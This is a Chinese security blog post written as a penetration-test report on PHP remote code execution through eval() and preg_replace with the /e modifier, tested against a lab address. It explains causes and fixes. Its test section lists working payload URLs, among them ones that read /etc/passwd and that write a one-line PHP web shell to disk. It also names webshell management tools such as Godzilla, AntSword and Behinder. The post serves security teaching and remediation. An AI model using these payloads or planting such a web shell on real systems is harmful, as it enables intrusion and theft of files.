003 远程代码执行漏洞

admin 2021年12月24日08:12:59评论114 views字数 2343阅读7分48秒阅读模式

1.远程代码执行漏洞

漏洞名称

远程代码执行漏洞

漏洞地址

http://10.211.55.2/eval.php?data=phpinfo()http://10.211.55.2/eval.php?data=1;phpinfo()http://10.211.55.2/eval.php?data=$%7bphpinfo()%7d

漏洞等级

超危

漏洞描述

用户通过浏览器提交执行命令,由于服务端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码。

漏洞成因

服务端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务端执行。命令注入攻击中WEB服务器没有过滤类似system()eval()exec()assert()preg replace() + /e 模式等函数是该漏洞攻击成功的最主要原因。

漏洞危害

允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码。

修复方案

通用方案

1.使用低权限用户执行应用程序。2.升级组件到最新版本。3.配置或代码过滤危险函数,例如eval()assert()preg replace()+/e模式等。

PHP

1.对于eval()assert()函数一定要保证用户不能轻易接触eval()assert()的参数或者用正则严格判断输入的数据格式。2.对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes。3.对于preg replace()放弃使用/e修饰符。如果必须要用/e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。

测试过程

http://10.211.55.2/eval.php

003 远程代码执行漏洞
image-20211223220751280
http://10.211.55.2/eval.php?data=phpinfo()http://10.211.55.2/eval.php?data=1;phpinfo()http://10.211.55.2/eval.php?data=${phpinfo()}
003 远程代码执行漏洞
image-20211223220836338

http://10.211.55.2/eval.php

003 远程代码执行漏洞
image-20211223220906644
http://10.211.55.2/eval.php?data=1%27);phpinfo();//
003 远程代码执行漏洞
image-20211223220938094

http://10.211.55.2/eval.php

003 远程代码执行漏洞
image-20211223221007447
http://10.211.55.2/eval.php?data=${phpinfo()}http://10.211.55.2/eval.php?data=%22);phpinfo();//
003 远程代码执行漏洞
image-20211223221043772

http://10.211.55.2/preg_replace.php

003 远程代码执行漏洞
image-20211223221142801
http://10.211.55.2/preg_replace.php?data=%3Cdata%3E${phpinfo()}%3C/data%3E
003 远程代码执行漏洞
image-20211223221219127
http://10.211.55.2/eval.php?data=@eval($_POST[1])

一句话木马

003 远程代码执行漏洞
image-20211223221251294
http://10.211.55.2/eval.php?data=print(getcwd())

获取当前工作路径

003 远程代码执行漏洞
image-20211223221324119
http://10.211.55.2/eval.php?data=var_dump(file_get_contents($_GET[f]))&f=/etc/passwd
003 远程代码执行漏洞
image-20211223221354651
http://10.211.55.2/eval.php?data=var_dump(file_put_contents($_GET[f],$_GET[d]))&f=1.php&d=%3C?php%20@eval($_POST[1]);
003 远程代码执行漏洞
image-20211223221856623

哥斯拉

https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla

003 远程代码执行漏洞
image-20211223221947330

蚁剑

https://github.com/AntSwordProject/AntSword-Loader/releases/tag/4.0.3

https://github.com/AntSwordProject/antSword

003 远程代码执行漏洞
image-20211223222130936

圈子菜刀

003 远程代码执行漏洞
image-20211223222154739

冰蝎

https://github.com/rebeyond/Behinder/releases/tag/Behinder_v3.0_Beta_11

003 远程代码执行漏洞
image-20211223222232898

天蝎

003 远程代码执行漏洞
image-20211223222252404

复测情况

已修复

测试人员

利刃信安

原文始发于微信公众号(利刃信安):003 远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月24日08:12:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   003 远程代码执行漏洞http://cn-sec.com/archives/693812.html

发表评论

匿名网友 填写信息